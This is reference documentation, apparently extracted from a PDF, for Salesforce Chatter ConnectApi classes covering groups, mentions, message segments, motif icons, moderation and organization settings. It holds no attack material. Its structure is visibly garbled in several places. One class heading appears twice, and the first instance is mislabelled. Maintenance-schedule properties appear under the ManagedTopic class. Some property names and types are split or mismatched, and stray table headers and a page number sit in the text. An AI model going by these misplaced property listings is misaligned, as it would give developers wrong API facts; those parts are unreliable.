<td>Information about the user who is subscribed to this group</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**ConnectApi.GroupMemberPage Class**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>members</td>
<td>List&lt;ConnectApi. GroupMember&gt;</td>
<td>List of group members</td>
<td>28.0</td>
</tr>
<tr>
<td>myMembership</td>
<td>ConnectApi. Reference</td>
<td>If the context user is a member of this group, returns information about that membership, otherwise, null.</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or null if there isn’t a next page. Check whether this value is null before getting another page. If a page doesn’t exist, a ConnectApi.NotFoundException error is returned.</td>
<td>28.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the previous page or null if there isn’t a previous page.</td>
<td>28.0</td>
</tr>
<tr>
<td>totalMemberCount</td>
<td>Integer</td>
<td>Total number of group members across all pages</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**ConnectApi.GroupMembershipRequest Class**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>createdDate</td>
<td>Datetime</td>
<td>ISO8601 date string, for example, 2011-02-25T18:24:31.000Z</td>
<td>28.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID for the group membership request object</td>
<td>28.0</td>
</tr>
</tbody>
</table>
### ConnectApi.GroupMembershipRequests Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>lastUpdateDate</td>
<td>Datetime</td>
<td>ISO8601 date string, for example, 2011-02-25T18:24:31.000Z</td>
<td>28.0</td>
</tr>
<tr>
<td>requestedGroup</td>
<td>ConnectApi. Reference</td>
<td>Information about the group the context user is requesting to join.</td>
<td>28.0</td>
</tr>
<tr>
<td>responseMessage</td>
<td>String</td>
<td>A message for the user if their membership request is declined. The value of this property is used only when the value of the status property is Declined. The maximum length is 756 characters.</td>
<td>28.0</td>
</tr>
<tr>
<td>status</td>
<td>ConnectApi. GroupMembershipRequestStatus Enum</td>
<td>The status of a request to join a private group. Values are:</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Accepted</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Declined</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Pending</td>
<td></td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL of the group membership request object.</td>
<td>28.0</td>
</tr>
<tr>
<td>user</td>
<td>ConnectApi.User Summary</td>
<td>Information about the user requesting membership in a group.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.GroupMembershipRequests Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>requests</td>
<td>List&lt;ConnectApi.Group MembershipRequest&gt;</td>
<td>Information about group membership requests.</td>
<td>28.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>The total number of requests.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.GroupRecord Class

A record associated with a group.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>Record’s 18-character ID</td>
<td>33.0</td>
</tr>
<tr>
<td>record</td>
<td>ConnectApi. ActorWithId</td>
<td>Information about the record associated with the group</td>
<td>33.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>Record URL</td>
<td>33.0</td>
</tr>
</tbody>
</table>

### ConnectApi.GroupRecordPage Class

A paginated list of ConnectApi.GroupRecord objects.
<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>33.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or <code>null</code> if there isn't a next page. Check whether this value is <code>null</code> before getting another page. If a page doesn't exist, a <code>ConnectApi.NotFoundException</code> error is returned.</td>
<td>33.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the previous page or <code>null</code> if there isn't a previous page.</td>
<td>33.0</td>
</tr>
<tr>
<td>records</td>
<td>List&lt;ConnectApi.GroupRecord&gt;</td>
<td>List of records on the current page.</td>
<td>33.0</td>
</tr>
<tr>
<td>totalRecordCount</td>
<td>Integer</td>
<td>Total number of records associated with the group.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

**ConnectApi.HashtagSegment Class**

Subclass of `ConnectApi.MessageSegment Class`

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>tag</td>
<td>String</td>
<td>Text of the topic without the hash symbol (#)</td>
<td>28.0</td>
</tr>
<tr>
<td>topicUrl</td>
<td>String</td>
<td>Chatter REST API Topics resource that searches for the topic:</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>/services/data/v35.0/chatter/topics?exactMatch=true&amp;q=<code>topic</code></td>
<td></td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>Chatter REST API Feed Items resource URL that searches for the topic in all feed items in an organization:</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>/services/data/v35.0/chatter/feed-items?q=<code>topic</code></td>
<td></td>
</tr>
</tbody>
</table>

**ConnectApi.Icon Class**

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>height</td>
<td>Integer</td>
<td>The height of the icon in pixels.</td>
<td>28.0</td>
</tr>
<tr>
<td>width</td>
<td>Integer</td>
<td>The width of the icon in pixels.</td>
<td>28.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL of the icon. This URL is available to unauthenticated users. This URL does not expire.</td>
<td>28.0</td>
</tr>
</tbody>
</table>
ConnectApi.InlineImageSegment

An inline image in the feed body.
Subclass of ConnectApi.MessageSegment Class

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>altText</td>
<td>String</td>
<td>Alt text for the inline image.</td>
<td>35.0</td>
</tr>
<tr>
<td>contentSize</td>
<td>Integer</td>
<td>Size of the file in bytes.</td>
<td>35.0</td>
</tr>
<tr>
<td>thumbnails</td>
<td>ConnectApi.FilePreviewCollection</td>
<td>Information about the available thumbnails for the image.</td>
<td>35.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL to the latest version of the inline image.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

ConnectApi.LabeledRecordField Class

This class is abstract.
Subclass of ConnectApi.AbstractRecordField Class
Superclass of:
• ConnectApi.CompoundRecordField Class
• ConnectApi.CurrencyRecordField Class
• ConnectApi.DateRecordField Class
• ConnectApi.PercentRecordField Class
• ConnectApi.PicklistRecordField Class
• ConnectApi.RecordField Class
• ConnectApi.ReferenceRecordField Class
• ConnectApi.ReferenceWithDateRecordField Class

A record field containing a label and a text value.

⚠️ Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances of unknown subclasses.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>label</td>
<td>String</td>
<td>A localized string describing the record field.</td>
<td>29.0</td>
</tr>
<tr>
<td>text</td>
<td>String</td>
<td>The text value of the record field. All record fields have a text value.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

To ensure that all clients can consume new content, inspect the record field’s type property. If it isn’t recognized, render the text value as the default case.

ConnectApi.LinkAttachment Class

⚠️ Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.LinkCapability is used.
Subclass of ConnectApi.FeedItemAttachment Class
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>title</td>
<td>String</td>
<td>Title given to the link if available, otherwise, null</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The link URL</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

### ConnectApi.LinkCapability

If a feed element has this capability, it has a link.
Subclass of `ConnectApi.FeedElementCapability` Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>Link URL. The URL can be to an external site.</td>
<td>32.0</td>
</tr>
<tr>
<td>urlName</td>
<td>String</td>
<td>Description of the link.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.LinkSegment Class

Subclass of `ConnectApi.MessageSegment` Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>The link URL</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.MaintenanceInfo

Information about the upcoming scheduled maintenance for the organization.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the maintenance.</td>
<td>34.0</td>
</tr>
<tr>
<td>maintenanceTitle</td>
<td>String</td>
<td>Title of the maintenance.</td>
<td>34.0</td>
</tr>
<tr>
<td>maintenanceType</td>
<td>ConnectApi.MaintenanceType</td>
<td>Specifies the type of maintenance. One of the following:</td>
<td>34.0</td>
</tr>
<tr>
<td>message</td>
<td>Datetime</td>
<td>Effective time when users start seeing the maintenance message.</td>
<td>34.0</td>
</tr>
</tbody>
</table>

- Downtime—Downtime maintenance.
- GenerallyAvailable—Maintenance with generally available mode.
- MaintenanceWithDowntime—Scheduled maintenance with downtime.
- ReadOnly—Maintenance with read-only mode.
### ConnectApi.ManagedTopic Class

Represents a managed topic in a community.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>message</td>
<td>Datetime</td>
<td>Expired time of the maintenance message.</td>
<td>34.0</td>
</tr>
<tr>
<td>ExpirationTime</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>scheduledEnd</td>
<td>Datetime</td>
<td>Scheduled end of downtime. null for GenerallyAvailable and ReadOnly maintenance types.</td>
<td>34.0</td>
</tr>
<tr>
<td>Downtime</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>scheduledEnd</td>
<td>Datetime</td>
<td>Scheduled end of maintenance. null for Downtime maintenance type.</td>
<td>34.0</td>
</tr>
<tr>
<td>MaintenanceTime</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>scheduledStart</td>
<td>Datetime</td>
<td>Scheduled start of downtime. null for GenerallyAvailable and ReadOnly maintenance types.</td>
<td>34.0</td>
</tr>
<tr>
<td>Downtime</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>scheduledStart</td>
<td>Datetime</td>
<td>Scheduled start time of maintenance. null for Downtime maintenance type.</td>
<td>34.0</td>
</tr>
<tr>
<td>MaintenanceTime</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

#### ConnectApi.ManagedTopicCollection Class

A collection of managed topics.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

1349
### Property Name | Type | Description | Available Version
--- | --- | --- | ---
managedTopics | List<ConnectApi.ManagedTopic> | List of managed topics. | 32.0

**ConnectApi.MarkupBeginSegment**

The beginning of rich text markup.

Subclass of ConnectApi.MessageSegment Class

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>htmlTag</td>
<td>String</td>
<td>The HTML tag for this markup.</td>
<td>35.0</td>
</tr>
<tr>
<td>markupType</td>
<td>ConnectApi.MarkupType</td>
<td>Specifies the type of rich text markup.</td>
<td>35.0</td>
</tr>
<tr>
<td>• Bold—Bold tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• Italic—Italic tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• ListItem—List item tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• OrderedList—Ordered list tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• Paragraph—Paragraph tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• StrikeThrough—Strikethrough tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• Underline—Underline tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• UnorderedList—Unordered list tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**ConnectApi.MarkupEndSegment**

The end of rich text markup.

Subclass of ConnectApi.MessageSegment Class

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>htmlTag</td>
<td>String</td>
<td>The HTML tag for this markup.</td>
<td>35.0</td>
</tr>
<tr>
<td>markupType</td>
<td>ConnectApi.MarkupType</td>
<td>Specifies the type of rich text markup.</td>
<td>35.0</td>
</tr>
<tr>
<td>• Bold—Bold tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• Italic—Italic tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>

<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• OrderedList—Ordered list tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• Paragraph—Paragraph tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• StrikeThrough—Strikethrough tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• Underline—Underline tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• UnorderedList—Unordered list tag.</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### ConnectApi.MentionCompletion Class

Information about a record that could be used to @mention a user or group.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>additionalLabel</td>
<td>String</td>
<td>An additional label (if one exists) for the record represented by this completion, for example, &quot;(Customer)&quot; or &quot;(Acme Corporation)&quot;.</td>
<td>29.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>A description of the record represented by this completion.</td>
<td>29.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>The name of the record represented by this completion. The name is localized, if possible.</td>
<td>29.0</td>
</tr>
<tr>
<td>photoUrl</td>
<td>String</td>
<td>A URL to the photo or icon of the record represented by this completion.</td>
<td>29.0</td>
</tr>
<tr>
<td>recordId</td>
<td>String</td>
<td>The ID of the record represented by this completion.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
| userType         | ConnectApi.UserType Enum | If the record represented by this completion is a user, this value is the user type associated with that user; otherwise the value is `null`. One of these values:  
  - ChatterGuest — User is an external user in a private group.  
  - ChatterOnly — User is a Chatter Free customer.  
  - Guest — User is unauthenticated.  
  - Internal — User is a standard organization member.  
  - Portal — User is an external user in a customer portal, partner portal, or community.  
  - System — User is Chatter Expert or a system user.  
  - Undefined — User is a user type that is a custom object. | 30.0              |

### ConnectApi.MentionCompletionPage Class

A paginated list of Mention Completion response bodies.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>29.0</td>
</tr>
<tr>
<td>mentionCompletions</td>
<td>List&lt;ConnectApi.MentionCompletion&gt;</td>
<td>A list of mention completion proposals. Use these proposals to build a feed post body.</td>
<td>29.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or <code>null</code> if there isn’t a next page. Check whether this value is <code>null</code> before getting another page. If a page doesn’t exist, a <code>ConnectApi.NotFoundException</code> error is returned.</td>
<td>29.0</td>
</tr>
<tr>
<td>Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>---------------</td>
<td>--------------</td>
<td>------------------------------------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the previous page or <code>null</code> if there isn’t a previous page.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

**ConnectApi.MentionSegment Class**

Subclass of *ConnectApi.MessageSegment Class*

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>accessible</td>
<td>Boolean</td>
<td>Specifies whether the mentioned user or group can see the post in which they are mentioned (<code>true</code>) or not (<code>false</code>).</td>
<td>28.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the mentioned user or group</td>
<td>28.0</td>
</tr>
<tr>
<td>record</td>
<td>ConnectApi.ActorWithId</td>
<td>Information about the mentioned user or group</td>
<td>29.0</td>
</tr>
<tr>
<td>user</td>
<td>ConnectApi.UserSummary</td>
<td>Information about the mentioned user</td>
<td>28.0 only</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Important: In versions 29.0 and later, use the <code>record</code> property.</td>
<td></td>
</tr>
</tbody>
</table>

**ConnectApi.MentionValidation Class**

Information about whether a proposed mention is valid for the context user.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>recordId</td>
<td>String</td>
<td>The ID of the mentioned record.</td>
<td>29.0</td>
</tr>
<tr>
<td>validationStatus</td>
<td>ConnectApi.MentionValidationStatusEnum</td>
<td>Specifies the type of validation error for a proposed mention, if any.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
|               |                           | - Disallowed—The proposed mention is invalid and is rejected because the context user is trying to mention something that is not allowed. For example, a user who is not a member of a private group is trying to mention the private group.
|               |                           | - Inaccessible—The proposed mention is allowed but the user or record being mentioned isn’t notified because they don’t have access to the parent record being discussed. |
ConnectApi.MentionValidations Class

Information about whether a set of mentions is valid for the context user.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>hasErrors</td>
<td>Boolean</td>
<td>Indicates whether at least one of the proposed mentions has an error (true), or not (false). For example, context users can’t mention private groups they don’t belong to. If such a group is included in the list of mention validations, hasErrors is true and the group has a validationStatus of Disallowed in its mention validation.</td>
<td>29.0</td>
</tr>
<tr>
<td>mentionValidations</td>
<td>List&lt;ConnectApi.MentionValidation&gt;</td>
<td>A list of mention validation information in the same order as the provided record IDs.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

ConnectApi.MessageBody Class

Subclass of ConnectApi.AbstractMessageBody Class

No additional properties.

ConnectApi.MessageSegment Class

This class is abstract.

Superclass of:
- ConnectApi.ComplexSegment Class
- ConnectApi.EntityLinkSegment Class
- ConnectApi.FieldChangeSegment Class
- ConnectApi.FieldChangeNameSegment Class
- ConnectApi.FieldChangeValueSegment Class
- ConnectApi.HashtagSegment Class
- ConnectApi.InlineImageSegment
- ConnectApi.LinkSegment Class
- ConnectApi.MarkupBeginSegment
- ConnectApi.MarkupEndSegment
- ConnectApi.MentionSegment Class
- ConnectApi.MoreChangesSegment Class
- ConnectApi.ResourceLinkSegment Class
- **ConnectApi.TextSegment Class**

  Message segments in a feed item are typed as `ConnectApi.MessageSegment`. Feed item capabilities are typed as `ConnectApi.FeedItemCapability`. Record fields are typed as `ConnectApi.AbstractRecordField`. These classes are all abstract and have several concrete subclasses. At runtime you can use `instanceof` to check the concrete types of these objects and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.

  **Important:** The composition of a feed may change between releases. Your code should always be prepared to handle instances of unknown subclasses.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>text</td>
<td>String</td>
<td>Text-only rendition of this segment. If a client encounters an unknown message segment type, it can render this value.</td>
<td>28.0</td>
</tr>
<tr>
<td>type</td>
<td><code>ConnectApi.MessageSegment.Type Enum</code></td>
<td>The message segment type. One of these values:</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• EntityLink</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• FieldChange</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• FieldChangeName</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• FieldChangeValue</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Hashtag</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• InlineImage</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Link</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• MarkupBegin</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Mention</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• MoreChanges</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ResourceLink</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Text</td>
<td></td>
</tr>
</tbody>
</table>

**ConnectApi.ModerationCapability Class**

If a feed element has this capability, users in a community can flag it for moderation.

Subclass of `ConnectApi.FeedElementCapability Class`.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>moderationFlags</td>
<td><code>ConnectApi.ModerationFlags</code></td>
<td>The moderation flags for this feed element. Community moderators can view and take action on flagged items.</td>
<td>31.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ModerationFlags Class**

Information about the moderation flags on a feed item, comment, or file.
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>flagCount</td>
<td>Integer</td>
<td>The number of moderation flags on this feed item, comment, or file. If the context user is not a community moderator, the property is null.</td>
<td>29.0</td>
</tr>
<tr>
<td>flaggedByMe</td>
<td>Boolean</td>
<td>true if the context user had flagged the feed item, comment, or file for moderation; false otherwise.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

**ConnectApi.MoreChangesSegment Class**

Subclass of ConnectApi.MessageSegment Class

In feed items with a large number of tracked changes, the message is formatted as: “changed A, B, and made X more changes.” The MoreChangesSegment contains the “X more changes.”

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>moreChanges</td>
<td>List&lt;ConnectApi.FieldChangeSegment&gt;</td>
<td>Complete list of tracked changes.</td>
<td>29.0</td>
</tr>
<tr>
<td>moreChangesCount</td>
<td>Integer</td>
<td>Number of additional changes</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**ConnectApi.Motif Class**

The motif properties contain URLs for small, medium, and large icons that indicate the Salesforce record type. Common record types are files, users, and groups, but all record types have a set of motif icons. Custom object records use their tab style icon. All icons are available to unauthenticated users so that, for example, you can display the motif icons in an email. The motif can also contain the record type’s base color.

**Note:** The motif images are icons, not user uploaded images or photos. For example, every user has the same set of motif icons.

Custom object records use their tab style icon, for example, the following custom object uses the “boat” tab style:

```json
"motif": {
  "color": "8C004C",
  "largeIconUrl": "/img/icon/custom51_100/boat64.png",
  "mediumIconUrl": "/img/icon/custom51_100/boat32.png",
  "smallIconUrl": "/img/icon/custom51_100/boat16.png",
  "svgIconUrl": null
},
```

Users use the following icons:

```json
"motif": {
  "color": "1797C0",
  "largeIconUrl": "/img/icon/profile64.png",
  "mediumIconUrl": "/img/icon/profile32.png",
  "smallIconUrl": "/img/icon/profile16.png",
  "svgIconUrl": null
},
```
Groups use the following icons:

```
"motif": {
  "color": "1797C0",
  "largeIconUrl": "/img/icon/groups64.png",
  "mediumIconUrl": "/img/icon/groups32.png",
  "smallIconUrl": "/img/icon/groups16.png",
  "svgIconUrl": null
},
```

Files use the following icons:

```
"motif": {
  "color": "1797C0",
  "largeIconUrl": "/img/content/content64.png",
  "mediumIconUrl": "/img/content/content32.png",
  "smallIconUrl": "/img/icon/files16.png",
  "svgIconUrl": null
},
```

Note: To view the icons in the previous examples, preface the URL with `https://instance_name`. For example, `https://instance_name/img/icon/profile64.png`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>color</td>
<td>String</td>
<td>A hex value representing the base color of the record type, or <code>null</code>.</td>
<td>29.0</td>
</tr>
<tr>
<td>largeIconUrl</td>
<td>String</td>
<td>A large icon indicating the record type.</td>
<td>28.0</td>
</tr>
<tr>
<td>mediumIconUrl</td>
<td>String</td>
<td>A medium icon indicating the record type.</td>
<td>28.0</td>
</tr>
<tr>
<td>smallIconUrl</td>
<td>String</td>
<td>A small icon indicating the record type.</td>
<td>28.0</td>
</tr>
<tr>
<td>svgIconUrl</td>
<td>String</td>
<td>An icon in SVG format indicating the record type, or <code>null</code> if the icon doesn’t exist.</td>
<td>34.0</td>
</tr>
</tbody>
</table>

**ConnectApi.MuteCapability**

If a feed element has this capability, users can mute it. Muted feed elements are visible in the muted feed, and invisible in all other feeds that respect mute.

Subclass of `ConnectApi.FeedElementCapability` Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isMutedByMe</td>
<td>Boolean</td>
<td>Indicates whether the context user muted the feed element.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

**ConnectApi.NonEntityRecommendation Class**

Represents a recommendation for a non-Salesforce entity, such as an application.

Subclass of `ConnectApi.AbstractRecommendation` Class.
ConnectApi.NonEntityRecommendation Class isn’t used in version 34.0 and later. In version 34.0 and later, ConnectApi.EntityRecommendation Class is used for all recommendations.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>displayLabel</td>
<td>String</td>
<td>Localized label of the non-entity object.</td>
<td>32.0</td>
</tr>
<tr>
<td>motif</td>
<td>ConnectApi.Motif</td>
<td>Motif for the non-entity object.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.OrganizationSettings Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>accessTimeout</td>
<td>Integer</td>
<td>Amount of time after which the system prompts users who have been inactive to log out or continue working</td>
<td>28.0</td>
</tr>
<tr>
<td>features</td>
<td>ConnectApi.Features</td>
<td>Information about features available in the organization</td>
<td>28.0</td>
</tr>
<tr>
<td>maintenanceInfo</td>
<td>List&lt;ConnectApi.MaintenanceInfo&gt;</td>
<td>Information about a list of upcoming scheduled maintenances for the organization.</td>
<td>34.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Organization name</td>
<td>28.0</td>
</tr>
<tr>
<td>orgId</td>
<td>String</td>
<td>18-character ID for the organization</td>
<td>28.0</td>
</tr>
<tr>
<td>userSettings</td>
<td>ConnectApi.UserSettings</td>
<td>Information about the organization permissions for the user</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.OriginCapability

If a feed element has this capability, it was created by a feed action.

Subclass of ConnectApi.FeedElementCapability Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actor</td>
<td>ConnectApi.UserSummary Class</td>
<td>The user who executed the feed action.</td>
<td>33.0</td>
</tr>
<tr>
<td>originRecord</td>
<td>ConnectApi.Reference Class</td>
<td>A reference to the feed element containing the feed action.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

### ConnectApi.PercentRecordField Class

Subclass of ConnectApi.LabeledRecordField Class

A record field containing a percentage value.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>value</td>
<td>Double</td>
<td>The value of the percentage.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
## ConnectApi.PhoneNumber Class

A phone number.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>label</td>
<td>String</td>
<td>A localized string indicating the phone type</td>
<td>30.0</td>
</tr>
<tr>
